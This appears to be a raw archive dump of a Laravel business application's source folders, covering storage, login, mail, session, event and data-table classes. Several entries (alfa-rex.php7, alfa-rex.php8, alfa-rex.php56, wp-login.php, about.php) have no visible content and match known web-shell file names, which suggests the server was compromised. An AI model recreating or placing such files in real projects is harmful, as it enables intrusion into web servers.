config(['filesystems.disks.digitalocean.key' => $key]); config(['filesystems.disks.digitalocean.secret' => $secret]); config(['filesystems.disks.digitalocean.region' => $region]); config(['filesystems.disks.digitalocean.bucket' => $bucket]); config(['filesystems.disks.digitalocean.endpoint' => 'https://' . $region . '.digitaloceanspaces.com']); break; case 'wasabi': $authKeys = json_decode(Crypt::decryptString($setting->auth_keys)); $driver = $authKeys->driver; $key = $authKeys->key; $secret = $authKeys->secret; $region = $authKeys->region; $bucket = $authKeys->bucket; config(['filesystems.default' => 'wasabi']); config(['filesystems.cloud' => 'wasabi']); config(['filesystems.disks.wasabi.key' => $key]); config(['filesystems.disks.wasabi.secret' => $secret]); config(['filesystems.disks.wasabi.region' => $region]); config(['filesystems.disks.wasabi.bucket' => $bucket]); config(['filesystems.disks.wasabi.endpoint' => 'https://s3.' . $region . '.wasabisys.com']); break; case 'minio': $authKeys = json_decode(Crypt::decryptString($setting->auth_keys)); $driver = $authKeys->driver; $key = $authKeys->key; $secret = $authKeys->secret; $region = $authKeys->region; $bucket = $authKeys->bucket; $endpoint = $authKeys->endpoint; config(['filesystems.default' => 'minio']); config(['filesystems.cloud' => 'minio']); config(['filesystems.disks.minio.key' => $key]); config(['filesystems.disks.minio.secret' => $secret]); config(['filesystems.disks.minio.region' => $region]); config(['filesystems.disks.minio.bucket' => $bucket]); config(['filesystems.disks.minio.endpoint' => $endpoint]); break; // For local storage default : config(['filesystems.default' => $setting->filesystem]); break; } } // @codingStandardsIgnoreLine catch (\Exception $e) { } } /** * Bootstrap services. * * @return void */ public function boot() { // } } Providers/FortifyServiceProvider.php000064400000015624150325104510013714 0ustar00app->instance(LogoutResponse::class, new class implements LogoutResponse { public function toResponse($request) { session()->flush(); return redirect()->route('login'); } }); } /** * Bootstrap any application services. * * @return void */ public function boot() { if (request()->has('locale')){ App::setLocale(request()->locale); } Fortify::authenticateThrough(function (Request $request) { return array_filter([ config('fortify.limiters.login') ? null : EnsureLoginIsNotThrottled::class, Features::enabled(Features::twoFactorAuthentication()) ? RedirectIfTwoFactorConfirmed::class : null, AttemptToAuthenticate::class, PrepareAuthenticatedSession::class, ]); }); Fortify::createUsersUsing(CreateNewUser::class); Fortify::updateUserProfileInformationUsing(UpdateUserProfileInformation::class); Fortify::updateUserPasswordsUsing(UpdateUserPassword::class); Fortify::resetUserPasswordsUsing(ResetUserPassword::class); // Fortify::authenticateThrough(); Fortify::authenticateUsing(function (Request $request) { $rules = [ 'email' => 'required|email:rfc,strict' ]; $request->validate($rules); $user = User::withoutGlobalScope(ActiveScope::class) ->where('email', $request->email) ->first(); if ($user && Hash::check($request->password, $user->password)) { if ($user->status === 'deactive') { throw ValidationException::withMessages([ 'email' => __('auth.failedBlocked') ]); } if ($user->login === 'disable') { throw ValidationException::withMessages([ 'email' => __('auth.failedLoginDisabled') ]); } session()->forget('locale'); session()->put([ 'current_latitude' => $request->current_latitude, 'current_longitude' => $request->current_longitude, ]); return $user; } }); Fortify::requestPasswordResetLinkView(function () { $globalSetting = GlobalSetting::first(); App::setLocale($globalSetting->locale); Carbon::setLocale($globalSetting->locale); setlocale(LC_TIME, $globalSetting->locale . '_' . mb_strtoupper($globalSetting->locale)); return view('auth.passwords.forget', ['globalSetting' => $globalSetting]); }); Fortify::loginView(function () { $this->showInstall(); $this->checkMigrateStatus(); $globalSetting = global_setting(); // Is worksuite $company = Company::withCount('users')->first(); if (!$this->isLegal()) { return redirect('verify-purchase'); } App::setLocale($globalSetting->locale); Carbon::setLocale($globalSetting->locale); setlocale(LC_TIME, $globalSetting->locale . '_' . mb_strtoupper($globalSetting->locale)); $userTotal = $company?->users_count; if ($userTotal == 0) { return view('auth.account_setup', ['global' => $globalSetting, 'setting' => $globalSetting]); } $socialAuthSettings = social_auth_setting(); $languages = language_setting(); return view('auth.login', [ 'globalSetting' => $globalSetting, 'socialAuthSettings' => $socialAuthSettings, 'company' => $company, 'languages' => $languages, ]); }); Fortify::resetPasswordView(function ($request) { $globalSetting = GlobalSetting::first(); App::setLocale($globalSetting->locale); Carbon::setLocale($globalSetting->locale); setlocale(LC_TIME, $globalSetting->locale . '_' . mb_strtoupper($globalSetting->locale)); return view('auth.passwords.reset-password', ['request' => $request, 'globalSetting' => $globalSetting]); }); Fortify::confirmPasswordView(function ($request) { $globalSetting = GlobalSetting::first(); App::setLocale($globalSetting->locale); Carbon::setLocale($globalSetting->locale); setlocale(LC_TIME, $globalSetting->locale . '_' . mb_strtoupper($globalSetting->locale)); return view('auth.password-confirm', ['request' => $request, 'globalSetting' => $globalSetting]); }); Fortify::twoFactorChallengeView(function () { $globalSetting = GlobalSetting::first(); App::setLocale($globalSetting->locale); Carbon::setLocale($globalSetting->locale); setlocale(LC_TIME, $globalSetting->locale . '_' . mb_strtoupper($globalSetting->locale)); return view('auth.two-factor-challenge', ['globalSetting' => $globalSetting]); }); Fortify::registerView(function () { // ISWORKSUITE $company = Company::first(); $globalSetting = GlobalSetting::first(); if (!$company->allow_client_signup) { return redirect(route('login')); } App::setLocale($globalSetting->locale); Carbon::setLocale($globalSetting->locale); setlocale(LC_TIME, $globalSetting->locale . '_' . mb_strtoupper($globalSetting->locale)); return view('auth.register', ['globalSetting' => $globalSetting]); }); } public function checkMigrateStatus() { return check_migrate_status(); } } Providers/alfa-rex.php7000064400000026574150325104510011032 0ustar00Providers/alfa-rex.php8000064400000026574150325104510011033 0ustar00Providers/SessionDriverConfigProvider.php000064400000002051150325104510014664 0ustar00first(); if ($setting) { Config::set('session.driver', $setting->session_driver != '' ? $setting->session_driver : 'file'); Config::set('app.cron_timezone', $setting->timezone); } } // @codingStandardsIgnoreLine catch (\Exception $e) { } $app = App::getInstance(); $app->register(SessionServiceProvider::class); } /** * Bootstrap services. * * @return void */ public function boot() { // } } Providers/wp-login.php000064400000026574150325104510011000 0ustar00Providers/TranslateSettingConfigProvider.php000064400000001606150325104510015365 0ustar00first(); if ($translateSetting) { Config::set('laravel_google_translate.google_translate_api_key', $translateSetting->google_key); } } } // @codingStandardsIgnoreLine catch (\Exception $e) { } } /** * Bootstrap services. * * @return void */ public function boot() { // } } Providers/alfa-rex.php56000064400000026574150325104510011116 0ustar00Providers/RouteServiceProvider.php000064400000005121150325104510013357 0ustar00configureRateLimiting(); $this->routes(function () { $this->mapPublicRoutes(); $this->mapSettingRoutes(); $this->mapApiRoutes(); $this->mapWebRoutes(); }); } /** * Configure the rate limiters for the application. * * @return void */ protected function configureRateLimiting() { RateLimiter::for('api', function (Request $request) { return Limit::perMinute(60)->by(optional($request->user())->id ?: $request->ip()); }); } /** * Define the "web" routes for the application. * * These routes all receive session state, CSRF protection, etc. * * @return void */ protected function mapWebRoutes() { Route::middleware('web') ->namespace($this->namespace) ->group(base_path('routes/web.php')); } /** * Define the "api" routes for the application. * * These routes are typically stateless. * * @return void */ protected function mapApiRoutes() { Route::prefix('api') ->middleware('api') ->namespace($this->namespace) ->group(base_path('routes/api.php')); } /** * Define the "admin" routes for the application. * * These routes are typically stateless. * * @return void */ protected function mapPublicRoutes() { Route::middleware('web') ->namespace($this->namespace) ->group(base_path('routes/web-public.php')); } /** * Define the "admin" routes for the application. * * These routes are typically stateless. * * @return void */ protected function mapSettingRoutes() { Route::middleware('web') ->namespace($this->namespace) ->group(base_path('routes/web-settings.php')); } } Providers/about.php000064400000026574150325104510010356 0ustar00Providers/AppServiceProvider.php000064400000003132150325104510013001 0ustar00app['request']->server->set('HTTPS', true); } } public function boot() { Cashier::useCustomerModel(Company::class); if (config('app.redirect_https')) { URL::forceScheme('https'); } Schema::defaultStringLength(191); if (app()->environment('development')) { $this->app->register(IdeHelperServiceProvider::class); } CarbonInterval::macro('formatHuman', function ($totalMinutes, $seconds = false): string { if ($seconds) { return static::seconds($totalMinutes)->cascade()->forHumans(['short' => true, 'options' => 0]); /** @phpstan-ignore-line */ } return static::minutes($totalMinutes)->cascade()->forHumans(['short' => true, 'options' => 0]); /** @phpstan-ignore-line */ }); // Model::preventLazyLoading(app()->environment('development')); } } Providers/error_log000064400000001626150325104510010437 0ustar00[04-Jul-2025 13:00:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:26:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Providers/AuthServiceProvider.php000064400000001035150325104510013162 0ustar00 'App\Policies\ModelPolicy', */ ]; /** * Register any authentication / authorization services. * * @return void */ public function boot() { $this->registerPolicies(); } } Providers/SmtpConfigProvider.php000064400000006164150325104510013021 0ustar00first(); $settings = DB::table('global_settings')->first(); if ($smtpSetting && $settings) { if (!in_array(config('app.env'), ['demo', 'development'])) { $driver = ($smtpSetting->mail_driver != 'mail') ? $smtpSetting->mail_driver : 'sendmail'; $password = Crypt::decryptString($smtpSetting->mail_password); Config::set('mail.default', $driver); Config::set('mail.mailers.smtp.host', $smtpSetting->mail_host); Config::set('mail.mailers.smtp.port', $smtpSetting->mail_port); Config::set('mail.mailers.smtp.username', $smtpSetting->mail_username); Config::set('mail.mailers.smtp.password', $password); Config::set('mail.mailers.smtp.encryption', $smtpSetting->mail_encryption); Config::set('mail.verified', $smtpSetting->email_verified ? true : false); Config::set('queue.default', $smtpSetting->mail_connection); } Config::set('mail.from.name', $smtpSetting->mail_from_name); Config::set('mail.from.address', $smtpSetting->mail_from_email); Config::set('app.name', $settings->global_app_name); Config::set('app.global_app_name', $settings->global_app_name); if (is_null($settings->light_logo)) { Config::set('app.logo', asset('img/worksuite-logo.png')); } else { Config::set('app.logo', $this->generateMaskedImageAppUrl('app-logo/' . $settings->light_logo)); } $pushSetting = DB::table('push_notification_settings')->first(); if ($pushSetting) { Config::set('services.onesignal.app_id', $pushSetting->onesignal_app_id); Config::set('services.onesignal.rest_api_key', $pushSetting->onesignal_rest_api_key); Config::set('onesignal.app_id', $pushSetting->onesignal_app_id); Config::set('onesignal.rest_api_key', $pushSetting->onesignal_rest_api_key); } } } // @codingStandardsIgnoreLine catch (\Exception $e) { } $app = App::getInstance(); $app->register(MailServiceProvider::class); $app = App::getInstance(); $app->register( QueueServiceProvider::class); } /** * Bootstrap services. * * @return void */ public function boot() { // } } Providers/EventServiceProvider.php000064400000101363150325104510013347 0ustar00 [LogSuccessfulLogin::class], SubTaskCompletedEvent::class => [SubTaskCompletedListener::class], NewUserEvent::class => [NewUserListener::class], NewUserSlackEvent::class => [NewUserSlackListener::class], NewContractEvent::class => [NewContractListener::class], NewEstimateEvent::class => [NewEstimateListener::class], NewExpenseEvent::class => [NewExpenseListener::class], FileUploadEvent::class => [FileUploadListener::class], NewInvoiceEvent::class => [NewInvoiceListener::class], InvoiceUpdatedEvent::class => [InvoiceUpdatedListener::class], InvoicePaymentReceivedEvent::class => [InvoicePaymentReceivedListener::class], NewIssueEvent::class => [NewIssueListener::class], LeaveEvent::class => [LeaveListener::class], NewChatEvent::class => [NewChatListener::class], NewMentionChatEvent::class => [NewMentionChatListener::class], NewNoticeEvent::class => [NewNoticeListener::class], NewPaymentEvent::class => [NewPaymentListener::class], NewProjectMemberEvent::class => [NewProjectMemberListener::class], ProjectNoteMentionEvent::class => [ProjectNoteMentionListener::class], ProjectNoteEvent::class => [ProjectNoteListener::class], RemovalRequestAdminLeadEvent::class => [RemovalRequestAdminLeadListener::class], RemovalRequestAdminEvent::class => [RemovalRequestAdminListener::class], RemovalRequestApprovedRejectLeadEvent::class => [RemovalRequestApprovedRejectLeadListener::class], RemovalRequestApprovedRejectUserEvent::class => [RemovalRequestApprovedRejectUserListener::class], TaskCommentEvent::class => [TaskCommentListener::class], TaskCommentMentionEvent::class => [TaskCommentMentionListener::class], TaskNoteEvent::class => [TaskNoteListener::class], TaskNoteMentionEvent::class => [TaskNoteMentionListener::class], TaskEvent::class => [TaskListener::class], TicketEvent::class => [TicketListener::class], TicketReplyEvent::class => [TicketReplyListener::class], EventInviteEvent::class => [EventInviteListener::class], EventCompletedEvent::class => [EventCompletedListener::class], ProjectReminderEvent::class => [ProjectReminderListener::class], PaymentReminderEvent::class => [PaymentReminderListener::class], AutoTaskReminderEvent::class => [AutoTaskReminderListener::class], TaskReminderEvent::class => [TaskReminderListener::class], EventReminderEvent::class => [EventReminderListener::class], LeadEvent::class => [LeadListener::class], DiscussionReplyEvent::class => [DiscussionReplyListener::class], DiscussionEvent::class => [DiscussionListener::class], DiscussionMentionEvent::class => [DiscussionMentionListener::class], EstimateDeclinedEvent::class => [EstimateDeclinedListener::class], NewProposalEvent::class => [NewProposalListener::class], TicketRequesterEvent::class => [TicketRequesterListener::class], RemovalRequestApproveRejectEvent::class => [RemovalRequestApprovedRejectListener::class], NewExpenseRecurringEvent::class => [NewExpenseRecurringListener::class], NewInvoiceRecurringEvent::class => [NewInvoiceRecurringListener::class], NewCreditNoteEvent::class => [NewCreditNoteListener::class], NewProjectEvent::class => [NewProjectListener::class], NewProductPurchaseEvent::class => [NewProductPurchaseListener::class], InvitationEmailEvent::class => [InvitationEmailListener::class], InvoiceReminderEvent::class => [InvoiceReminderListener::class], InvoiceReminderAfterEvent::class => [InvoiceReminderAfterListener::class], AttendanceReminderEvent::class => [AttendanceReminderListener::class], NewOrderEvent::class => [NewOrderListener::class], OrderUpdatedEvent::class => [OrderUpdatedListener::class], NewUserRegistrationViaInviteEvent::class => [NewUserRegistrationViaInviteListener::class], AutoFollowUpReminderEvent::class => [AutoFollowUpReminderListener::class], ContractSignedEvent::class => [ContractSignedListener::class], EmployeeShiftScheduleEvent::class => [EmployeeShiftScheduleListener::class], EmployeeShiftChangeEvent::class => [EmployeeShiftChangeListener::class], TwoFactorCodeEvent::class => [TwoFactorCodeListener::class], BirthdayReminderEvent::class => [BirthdayReminderListener::class], AppreciationEvent::class => [AppreciationListener::class], TimeTrackerReminderEvent::class => [TimeTrackerReminderListener::class], HolidayEvent::class => [HolidayListener::class], EstimateAcceptedEvent::class => [EstimateAcceptedListener::class], EventInviteMentionEvent::class => [EventInviteMentionListener::class], DealEvent::class => [DealListener::class], EventStatusNoteEvent::class => [EventStatusNoteListener::class], BulkShiftEvent::class => [BulkShiftListener::class], MonthlyAttendanceEvent::class => [MonthlyAttendanceListener::class], DailyTimeLogReportEvent::class => [DailyTimeLogReportListener::class], MailTicketReplyEvent::class => [MailTicketReplyListener::class], DailyScheduleEvent::class => [DailyScheduleListener::class], EstimateRequestRejectedEvent::class => [EstimateRequestRejectedListener::class], EstimateRequestAcceptedEvent::class => [EstimateRequestAcceptedListener::class], NewEstimateRequestEvent::class => [NewEstimateRequestListener::class], ShiftRotationEvent::class => [ShiftRotationListener::class], PromotionAddedEvent::class => [PromotionAddedListener::class], SubmitWeeklyTimesheet::class => [SubmitWeeklyTimesheetListener::class], WeeklyTimesheetApprovedEvent::class => [WeeklyTimesheetApprovedListener::class], WeeklyTimesheetDraftEvent::class => [WeeklyTimesheetDraftListener::class], ]; protected $observers = [ Attendance::class => [AttendanceObserver::class], ClientContact::class => [ClientContactObserver::class], ClientDetails::class => [ClientDetailsObserver::class], ClientDocument::class => [ClientDocumentObserver::class], ClientNote::class => [ClientNoteObserver::class], ClientUserNote::class => [ClientUserNotesObserver::class], Contract::class => [ContractObserver::class], ContractDiscussion::class => [ContractDiscussionObserver::class], ContractFile::class => [ContractFileObserver::class], ContractRenew::class => [ContractRenewObserver::class], CreditNotes::class => [CreditNoteObserver::class], CustomField::class => [CustomFieldsObserver::class], Discussion::class => [DiscussionObserver::class], DiscussionCategory::class => [DiscussionCategoryObserver::class], DiscussionReply::class => [DiscussionReplyObserver::class], EmployeeDetails::class => [EmployeeDetailsObserver::class], EmployeeDocument::class => [EmployeeDocsObserver::class], EmergencyContact::class => [EmergencyContactObserver::class], EmployeeShift::class => [EmployeeShiftObserver::class], EmployeeShiftChangeRequest::class => [EmployeeShiftChangeObserver::class], EmployeeShiftSchedule::class => [EmployeeShiftScheduleObserver::class], Estimate::class => [EstimateObserver::class], Event::class => [EventObserver::class], Expense::class => [ExpenseObserver::class], ExpenseRecurring::class => [ExpenseRecurringObserver::class], Holiday::class => [HolidayObserver::class], Invoice::class => [InvoiceObserver::class], InvoiceSetting::class => [InvoiceSettingObserver::class], Issue::class => [IssueObserver::class], Deal::class => [DealObserver::class], LeadAgent::class => [LeadAgentObserver::class], LeadCategory::class => [LeadCategoryObserver::class], LeadCustomForm::class => [LeadCustomFormObserver::class], DealFile::class => [LeadFileObserver::class], DealFollowUp::class => [LeadFollowUpObserver::class], LeadNote::class => [LeadNoteObserver::class], DealNote::class => [DealNoteObserver::class], LeadSource::class => [LeadSourceObserver::class], LeadStatus::class => [LeadStatusObserver::class], Leave::class => [LeaveObserver::class], LeaveSetting::class => [LeaveSettingObserver::class], LeaveType::class => [LeaveTypeObserver::class], Notice::class => [NoticeObserver::class], NoticeFile::class => [NoticeFileObserver::class], Order::class => [OrderObserver::class], Payment::class => [PaymentObserver::class], PermissionRole::class => [PermissionRoleObserver::class], Role::class => [RoleObserver::class], Pinned::class => [PinnedObserver::class], Product::class => [ProductObserver::class], ProductFiles::class => [ProductFileObserver::class], Project::class => [ProjectObserver::class], ProjectCategory::class => [ProjectCategoryObserver::class], ProjectFile::class => [FileUploadObserver::class], ProjectMember::class => [ProjectMemberObserver::class], ProjectMilestone::class => [ProjectMilestoneObserver::class], ProjectNote::class => [ProjectNoteObserver::class], ProjectRating::class => [ProjectRatingObserver::class], ProjectTimeLog::class => [ProjectTimelogObserver::class], ProjectTimeLogBreak::class => [ProjectTimelogBreakObserver::class], Proposal::class => [ProposalObserver::class], RecurringInvoice::class => [InvoiceRecurringObserver::class], RemovalRequest::class => [RemovalRequestObserver::class], // RemovalRequestDeal::class => [RemovalRequestLeadObserver::class], SubTask::class => [SubTaskObserver::class], Task::class => [TaskObserver::class], TaskboardColumn::class => [TaskBoardColumnObserver::class], TaskCategory::class => [TaskCategoryObserver::class], TaskComment::class => [TaskCommentObserver::class], TaskFile::class => [TaskFileObserver::class], InvoiceFiles::class => [InvoiceFileObserver::class], TaskLabelList::class => [TaskLabelListObserver::class], TaskNote::class => [TaskNoteObserver::class], TaskUser::class => [TaskUserObserver::class], Ticket::class => [TicketObserver::class], TicketEmailSetting::class => [TicketEmailSettingObserver::class], TicketReply::class => [TicketReplyObserver::class], TicketFile::class => [TicketFileObserver::class], TicketReplyTemplate::class => [TicketReplyTemplateObserver::class], User::class => [UserObserver::class], UserChat::class => [NewChatObserver::class], UserInvitation::class => [UserInvitationObserver::class], CompanyAddress::class => [CompanyAddressObserver::class], ContractType::class => [ContractTypeObserver::class], DashboardWidget::class => [DashboardWidgetObserver::class], Designation::class => [DesignationObserver::class], EmailNotificationSetting::class => [EmailNotificationSettingObserver::class], EventAttendee::class => [EventAttendeeObserver::class], GoogleCalendarModule::class => [GoogleCalendarModuleObserver::class], LogTimeFor::class => [LogTimeForObserver::class], ModuleSetting::class => [ModuleSettingObserver::class], ProjectSetting::class => [ProjectSettingObserver::class], Tax::class => [TaxObserver::class], Team::class => [TeamObserver::class], ThemeSetting::class => [ThemeSettingObserver::class], TicketGroup::class => [TicketGroupObserver::class], TicketAgentGroups::class => [TicketAgentGroupsObserver::class], TicketChannel::class => [TicketChannelObserver::class], TicketCustomForm::class => [TicketCustomFormObserver::class], TicketType::class => [TicketTypeObserver::class], UniversalSearch::class => [UniversalSearchObserver::class], AttendanceSetting::class => [AttendanceSettingObserver::class], MessageSetting::class => [MessageSettingObserver::class], Currency::class => [CurrencyObserver::class], KnowledgeBaseCategory::class => [KnowledgeBaseCategoriesObserver::class], KnowledgeBase::class => [KnowledgeBaseObserver::class], Company::class => [CompanyObserver::class], StickyNote::class => [StickyNoteObserver::class], Skill::class => [SkillObserver::class], ProjectStatusSetting::class => [ProjectStatusSettingObserver::class], UserPermission::class => [UserPermissionObserver::class], ProposalTemplate::class => [ProposalTemplateObserver::class], BankAccount::class => [BankAccountObserver::class], BankTransaction::class => [BankTransactionObserver::class], Award::class => [AwardObserver::class], Appreciation::class => [AppreciationObserver::class], ProjectTemplate::class => [ProjectTemplateObserver::class], ExpensesCategory::class => [ExpensesCategoryObserver::class], ExpensesCategoryRole::class => [ExpensesCategoryRoleObserver::class], DiscussionFile::class => [DiscussionFileObserver::class], TaskSetting::class => [TaskSettingObserver::class], OfflinePaymentMethod::class => [OfflinePaymentMethodObserver::class], CustomFieldGroup::class => [CustomFieldGroupObserver::class], EmployeeSkill::class => [EmployeeSkillObserver::class], EmployeeTeam::class => [EmployeeTeamObserver::class], NoticeView::class => [NoticeViewObserver::class], PaymentGatewayCredentials::class => [PaymentGatewayCredentialsObserver::class], TicketTag::class => [TicketTagObserver::class], TicketTagList::class => [TicketTagListObserver::class], UserchatFile::class => [UserchatFileObserver::class], UserActivity::class => [UserActivityObserver::class], FileStorage::class => [FileStorageObserver::class], UserTaskboardSetting::class => [UserTaskboardSettingObserver::class], UserLeadboardSetting::class => [UserLeadboardSettingObserver::class], ClientCategory::class => [ClientCategoryObserver::class], ClientSubCategory::class => [ClientSubCategoryObserver::class], ProductCategory::class => [ProductCategoryObserver::class], ProductSubCategory::class => [ProductSubCategoryObserver::class], AcceptEstimate::class => [AcceptEstimateObserver::class], ContractSign::class => [ContractSignObserver::class], ContractTemplate::class => [ContractTemplateObserver::class], LeaveFile::class => [LeaveFileObserver::class], CurrencyFormatSetting::class => [CurrencyFormatSettingObserver::class], EstimateTemplate::class => [EstimateTemplateObserver::class], UnitType::class => [UnitTypeObserver::class], LanguageSetting::class => [LanguageSettingObserver::class], GlobalSetting::class => [GlobalSettingObserver::class], CustomLinkSetting::class => [CustomLinkSettingObserver::class], PipelineStage::class => [LeadStageObserver::class], LeadPipeline::class => [LeadPipelineObserver::class], Lead::class => [LeadObserver::class], EstimateRequest::class => [EstimateRequestObserver::class], Promotion::class => [PromotionObserver::class], WeeklyTimesheet::class => [WeeklyTimeSheetObserver::class], WeeklyTimesheetEntries::class => [WeeklyTimesheetEntriesObserver::class], ]; } Providers/about.php7000064400000026574150325104510010445 0ustar00Providers/CustomConfigProvider.php000064400000011757150325104510013354 0ustar00join('global_settings', function ($join) { $join->on('global_settings.id', '=', DB::raw('global_settings.id')); }) ->leftJoin('push_notification_settings', function ($join) { $join->on('push_notification_settings.id', '=', DB::raw('push_notification_settings.id')); }) ->leftJoin('translate_settings', function ($join) { $join->on('translate_settings.id', '=', DB::raw('translate_settings.id')); }) ->select( 'smtp_settings.*', 'global_settings.global_app_name', 'global_settings.session_driver', 'global_settings.timezone', 'global_settings.light_logo', 'push_notification_settings.onesignal_app_id', 'push_notification_settings.onesignal_rest_api_key', 'translate_settings.google_key' ) ->first(); if ($setting) { $this->setMailConfig($setting); $this->setPushNotification($setting); $this->setSessionDriver($setting); $this->translateSettingConfig($setting); } } catch (\Exception $e) { // info($e->getMessage()); // Handle exceptions appropriately, e.g., log the error } $app = App::getInstance(); $app->register(MailServiceProvider::class); $app->register(QueueServiceProvider::class); $app->register(SessionServiceProvider::class); } public function setMailConfig($setting) { if (!in_array(app()->environment(), self::ALL_ENVIRONMENT)) { $driver = ($setting->mail_driver != 'mail') ? $setting->mail_driver : 'sendmail'; // Decrypt the password to be used $password = Crypt::decryptString($setting->mail_password); Config::set('mail.default', $driver); Config::set('mail.mailers.smtp.host', $setting->mail_host); Config::set('mail.mailers.smtp.port', $setting->mail_port); Config::set('mail.mailers.smtp.username', $setting->mail_username); Config::set('mail.mailers.smtp.password', $password); Config::set('mail.mailers.smtp.encryption', $setting->mail_encryption); Config::set('mail.verified', (bool)$setting->email_verified); Config::set('queue.default', $setting->mail_connection); } Config::set('mail.from.name', $setting->mail_from_name); Config::set('mail.from.address', $setting->mail_from_email); Config::set('app.name', $setting->global_app_name); Config::set('app.global_app_name', $setting->global_app_name); Config::set('app.logo', is_null($setting->light_logo) ? asset('img/worksuite-logo.png') : $this->generateMaskedImageAppUrl('app-logo/' . $setting->light_logo)); } public function setPushNotification($setting) { // Set push notification settings if available if ($setting->onesignal_app_id && $setting->onesignal_rest_api_key) { Config::set('services.onesignal.app_id', $setting->onesignal_app_id); Config::set('services.onesignal.rest_api_key', $setting->onesignal_rest_api_key); Config::set('onesignal.app_id', $setting->onesignal_app_id); Config::set('onesignal.rest_api_key', $setting->onesignal_rest_api_key); } } // SessionDriverConfigProvider moved here so it only fetches in single query public function setSessionDriver($setting) { Config::set('session.driver', $setting->session_driver != '' ? $setting->session_driver : 'file'); Config::set('app.cron_timezone', $setting->timezone); } public function translateSettingConfig($setting) { Config::set('laravel_google_translate.google_translate_api_key', $setting->google_key); } /** * Bootstrap services. * * @return void */ public function boot() { // } } DataTables/alfa-rex.php000064400000026574150325104510010772 0ustar00DataTables/CustomerDataRemovalDataTable.php000064400000010750150325104510014743 0ustar00eloquent($query) ->addIndexColumn() ->addColumn('action', function ($row) { $action = ''; $action .= ''; return $action; }) ->addColumn('status', function ($row) { return match ($row->status) { 'pending' => '', 'approved' => '', 'rejected' => '', default => '' }; }) ->editColumn('created_at', fn ($row) => Carbon::parse($row->created_at)->translatedFormat($this->company->date_format)) ->rawColumns(['status', 'action', 'status']); } /** * Get query source of dataTable. * @param RemovalRequest $model * @return \Illuminate\Database\Query\Builder */ public function query(RemovalRequest $model) { return $model->select('id', 'name', 'created_at', 'status', 'description'); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('removal-request-customer') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["removal-request-customer"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'exportable' => false, 'title' => __('app.id')], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.name') => ['data' => 'name', 'name' => 'name', 'title' => __('app.name')], __('app.description') => ['data' => 'description', 'name' => 'description', 'title' => __('app.description')], __('app.createdOn') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdOn')], __('app.status') => ['data' => 'status', 'name' => 'status', 'exportable' => false, 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(200) ->addClass('text-right pr-20') ]; } } DataTables/LeaveQuotaReportDataTable.php000064400000021722150325104510014265 0ustar00viewLeaveReportPermission = user()->permission('view_leave_report'); $this->thisMonthStartDate = now()->startOfMonth(); } public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('action', function ($row) { $action = ''; return $action; }) ->addColumn('employee_name', function ($row) { return $row->name; }) ->addColumn('name', function ($row) { return view('components.employee', [ 'user' => $row ]); }) ->addColumn('totalLeave', function ($row) { $count = $this->getAllowedLeavesQuota($row)->sum('no_of_leaves') ?: 0; return number_format((float)$count, 2, '.', ''); }) ->addColumn('remainingLeave', function ($row) { $count = $this->getAllowedLeavesQuota($row)->sum('leaves_remaining') ?: 0; return number_format((float)$count, 2, '.', ''); }) ->addIndexColumn() ->rawColumns(['action', 'name']); } /** * @param User $model * @return \Illuminate\Database\Query\Builder */ public function query(User $model) { $request = $this->request(); $forMontDate = Carbon::createFromDate($request->year, $request->month, 1)->startOfDay(); $employeeId = $request->employeeId; $model = $model->onlyEmployee() ->with('employeeDetail') ->when(!$this->thisMonthStartDate->eq($forMontDate), function($query) use($forMontDate) { $query->with([ 'leaveQuotaHistory' => function($query) use($forMontDate) { $query->where('for_month', $forMontDate); } ])->whereHas('leaveQuotaHistory', function($query) use($forMontDate) { $query->where('for_month', $forMontDate); }); }) ->when($this->thisMonthStartDate->eq($forMontDate), function($query) { $query->with('leaveTypes'); }); if ($employeeId != 0 && $employeeId != 'all') { $model->where('id', $employeeId); } if(in_array('employee', user_roles()) && $this->viewLeaveReportPermission == 'owned') { $model->whereHas('employeeDetail', function($query){ $query->where('id', user()->id); }); } if(in_array('employee', user_roles()) && $this->viewLeaveReportPermission == 'both') { $model->whereHas('employeeDetail', function($query){ $query->where('added_by', user()->id)->orWhere('id', user()->id); }); } if(in_array('employee', user_roles()) && $this->viewLeaveReportPermission == 'added') { $model->whereHas('employeeDetail', function($query){ $query->where('added_by', user()->id); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('leave-quota-report-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["leave-quota-report-table"].buttons().container() .appendTo( "#table-actions") }' ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'exportable' => false, 'title' => __('app.id')], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.employee') => ['data' => 'name', 'name' => 